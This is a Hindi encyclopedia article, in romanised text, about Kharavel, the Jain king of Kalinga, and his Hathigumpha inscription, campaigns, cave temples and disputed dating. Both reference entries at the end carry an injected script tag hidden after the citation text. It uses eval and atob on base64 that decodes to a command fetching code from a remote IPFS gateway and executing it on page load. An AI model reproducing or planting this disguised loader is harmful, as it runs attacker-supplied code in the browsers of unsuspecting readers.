खारवेल
thumb|raja kharavel (kalpanik chitr) pahali sadi ee.poo. tak kaliang ka jain raja 'kharavel' is mahadvip ka sarvashreshth samrat ban chuka tha aur maury shasakoan ka magadh kaliang samrajy ka ek praant ban chuka tha. kaliang rajy ke vishay mean janakari ke mahattvapoorn srot ashtadhyayi, mahabharat, puran, ramayan, kalidas krit raghuvansh mahakavy, dandi ka dashakumaracharit, jatak, jain granth uttaradhyayanasootr, t aaulmi ka bhoogol, ashok ke lekh evan kharavel ka hathigumpha abhilekh hai. hathigumpha abhilekh se kharavel ke pita tatha pitamah ke vishay mean koee janakari nahian milati hai. sampoorn abhilekh mean kharavel ka nam vibhinn upadhiyoan - ary maharaj, mahameghavahan, kaliangadhipati shri kharavel tatha raja shri kharavel tatha lemaraj, briddharaj, dharmaraj tatha mahavijay raj jaise visheshanoan ke sath ullikhit hai.
upalabdhiyaan
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15 varsh ki avastha mean kharavel 'yuvaraj' bana aur 24 varsh ki avastha mean isaka 'rajyabhishek' kiya gaya. kharavel kaliang ke tisare rajavansh chedi vansh ka tha. kharavel ko aira, maharaj, mahameghavahan, evan kaliangadhipati kaha gaya hai.
- khareval ne apane shasanakal ke doosare varsh mean shatakarni (satavahan) ki upeksha karate hue kashyap kshatriyoan ke sahayog se 'yooshik' rajaoan ki rajadhani ko poorn roop se nasht kar diya.
- shasanakal ke paanchave varsh mean kharavel ne nandoan dvara khudavaee nahar tanasooli ko apani rajadhani mean mila liya.
- sambhavatah shasanakal ke satavean varsh mean kharavel ne apana vivah lalak hathisianh namak ek raja ki kanya se kiya aur sath hi masulipattam ko jita. aisa pratit hota hai ki khareval ka samana karane ke lie dakshin ke tamil rajaoan ne ek sangh ka nirman kar liya tha jise kharavel ne nasht kar diya.
- lekh ke anusar kharavel ne 'pithund' nagar mean gadahoan ka hal chalavaya tha. is nagar ki pahachan masulipattam sthit pitundr namak sthan se ki jati thi.
- apane shasanakal mean 8vean varsh mean kharavel magadh par akraman kar barabar paha di gaya tak pahuanch gaya . usane barabar paha di mean sthit gorathari qile ko nasht kar diya. phalasvaroop usane rajagrih par akraman kar liya.
- apane shasan ke 9vean varsh mean kharavel ne brahmanoan ko sone ka kalpavriksh bheant kiya. is vriksh ke patte tak sone ke bane the. isi varsh kharavel ne prachin nadi ke donoan kinaroan par lagabhag 35 lakh rajat mudraoan ki lagat se 'vijay prasad' namak ek mahal banavaya.
- shasan ke 11 vean varsh mean kharavel ne lak di dvara nirmit 1300 varsh purani ketubhadr ki pratima ke sath ek juloos nikala, isake poorv yah pratima prithu-dak-darbh shahar mean sthapit ki gee thi. *shasan ke 12 vean mean kharavel ne uttarapath par akraman kar aang aur magadh se kimati upahar prapt kiya. in upaharoan mean pratham jinaki pratima tatha pad-chihn shamil hai jo nandoan ke pas tha. kharavel ne shasan ke 12 vean varsh mean hi dakshin pady rajaoan se hathi, gho de, hire tatha javaharat upahar mean prapt kie. pandy naresh ne usaki adhinata svikar kar li. yah kharavel ka jhukav dharm ki or hua jisake parinamasvaroop kumari parvat par arhatoan ke lie usane devalay nirmit karavaya.
- usane udayagiri mean 19 tatha khandigiri mean 16 guha viharoan ka nirman karaya.
- udayagiri mean rani gupha tatha khandagiri mean anantagupha utkirn riliph chitrakala ki drishti se uchchakoti ke hai.
- kharavel ko shanti evan samriddhi ka samrat, bhikshusamrat evan dharmaraj ke roop mean bhi jana jata tha.
- sambhavatah kharavel jain dharm ka anuyayi tha.
- udayagiri ka hathigumpha abhilekh bharatiy itihas mean mauryo ke adhipatan se lekar guptoan ke abhyuday ke poorv ke aandhakar yug ko prakashit karata hai.
- u disa mean bhuvaneshvar ke nikat udayagiri ki paha diyoan mean kharavel ke shasanakal ke 'smarak prapy prachin smarakoan' mean sabase prachin haian. upalabdh shilalekhoan mean raja kharavel ko keval sainy kaushal mean hi mahir nahian bataya gaya hai balki use sahity, ganit aur samajik vijnan ka bhi jnata bataya gaya hai. kala ke sanrakshak ke roop mean bhi usaki mahanh khyati thi aur apani rajadhani mean nrity aur naty kala ko bhi protsahan dene ka shrey use mila.[1]
'prasiddh itihasakar ke.pi. jayasaval ne meghavansh rajaoan ko chedivansh ka mana hai. ‘bharat aandhakar yugin itihas (san 150 ee. se 350 ee. tak)’ mean ve likhate haian, ‘ye log megh kahalate the. ye log u disa tatha kaliang ke unhian chediyoan ke vanshaj the, jo kharavel ke vanshadhar the aur apane samrajy kal mean ‘mahamegh’ kahalate the. bharat ke poorv mean jain dharm phailane ka shrey kharavel ko jata hai. kaliang raja jain dharm ke anuyayi the, unaka vaishnav dharm se virodh tha. at: vaishnav dharmi raja ashok ne us par akraman kiya isaka doosara karan samudri marg par qabza bhi tha. ise ‘kaliang yuddh’ ke nam se jana jata hai. yuddh mean ek lakh se adhik log mare jane se vyathit ashok ne bauddh dharm apanaya aur ahiansa par zor dekar bauddh dharm ko any deshoan tak phailaya.' [2]
shilalekh mean ullekh
- REDIRECTsaancha:mukhy
maury vansh ki shakti ke shithil hone par jab magadh samrajy ke anek sudooravarti pradesh maury samratoan ki adhinata se mukt hone lage, to kaliang bhi svatantr ho gaya. u disa ke bhuvaneshvar namak sthan se tin mil door udayagiri nam ki paha di hai, jisaki ek gufa mean ek shilalekh upalabdh hua hai, jo 'hathigumfa lekh' ke nam se prasiddh hai. ise kaliangaraj kharavel ne utkirn karaya tha. yah lekh prakrit bhasha mean hai, aur prachin bharatiy itihas ke lie isaka bahut adhik mahattv hai. isake anusar kaliang ke svatantr rajy ke raja prachin 'ail vansh' ke cheti ya chedi kshatriy the. chedi vansh mean 'mahamedhavahan' nam ka pratapi raja hua, jisane mauryoan ki nirbalata se labh uthakar kaliang mean apana svatantr shasan sthapit kiya. mahamedhavahan ki tisari pidhi mean kharavel hua, jisaka vrittant hathigumfa shilalekh mean vishad ke roop se ullikhit hai. kharavel jain dharm ka anuyayi tha, aur sambhavatah usake samay mean kaliang ki bahusankhyak janata bhi vardhaman mahavir ke dharm ko apana chuki thi.
kharavel ki shakti ke utkarsh aur digvijay ka yah vrittant nissandeh bahut mahattv ka hai. chedi kshatriyoan ke shaury ke karan kaliang n keval maury samrajy ki adhinata se mukt hokar svatantr ho gaya tha, apitu unake anyatam raja kharavel ne bharat ke sudoor pradeshoan ko jitakar apane adhin bhi kar liya tha. aisa pratit hota hai, ki kharavel apane vijit pradeshoan par sthir roop se kary nahian kar saka, aur usane kisi sthayi samrajy ki sthapana nahian ki.
aitihasik abhi yah nirnay nahian kar sake haian ki kharavel ka samay kaun sa hai. kashi prasad jayasaval ne sabase poorv hathigumfa shilalekh ko prakashit karaya tha, aur unhoanne usaka jo path padha tha, usamean kharavel ke samakalin magadharaj ke nam ko bahasatimit padhakar aur brihaspatimitr ko pushyamitr ka paryayavachi manakar unhoanne yah pratipadit kiya tha ki kharavel shuangavanshi raja pushyamitr ka samakalin tha. sath hi, jo yavanaraj kharavel ke akraman ke bhay se madhyadesh ko chho dakar vapas chala gaya tha, usaka nam bhi jayasaval ji ne hathigumfa shilalekh mean 'dimit' padha tha. jise unhoanne baiktriya ke yavan raja demetriyas se milaya tha. par bad mean anek aitihasikoan ne hathigumfa shilalekh ke in pathoan se asahamati pragat ki. unake anusar is shilalekh mean n bahasatimit ka nam hai, aur n hi dimit ka.
jin dinoan magadh par pushpamitr raj karata tha, unhian dinoan kaliang mean kharavel nam ka bahut hi vir aur mahattvakaankshi raja hua . kharavel itana bahadur tha ki dakshin mean jis tamil deshoan ke sangh ko chandragupt maury bhi apane adhin nahian kar saka tha, use kharavel ne apane adhin kar liya. kharavel ne pataliputr par bhi chadhaee ki. kharavel ne yavanoan ko bhi parast kiya. eesa poorv doosari shatabhdi mean kharavel raja ke kaliang ek shaktishali samrajhy ban gaya. kharavel ki mrithyu ke bad u disa ki khhyati lupht ho gee.
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tika tippani aur sandarbh
- ↑ bharat ka itihas (hindi) (ech.ti.em.el) itihaasam.blogspot.com. abhigaman tithi: 4sitambar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ meghavansh: ek sianhavalokan (hindi) (ech.ti.em.el) maheshpanthi.net. abhigaman tithi: 4sitambar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
varnamala kramanusar lekh khoj
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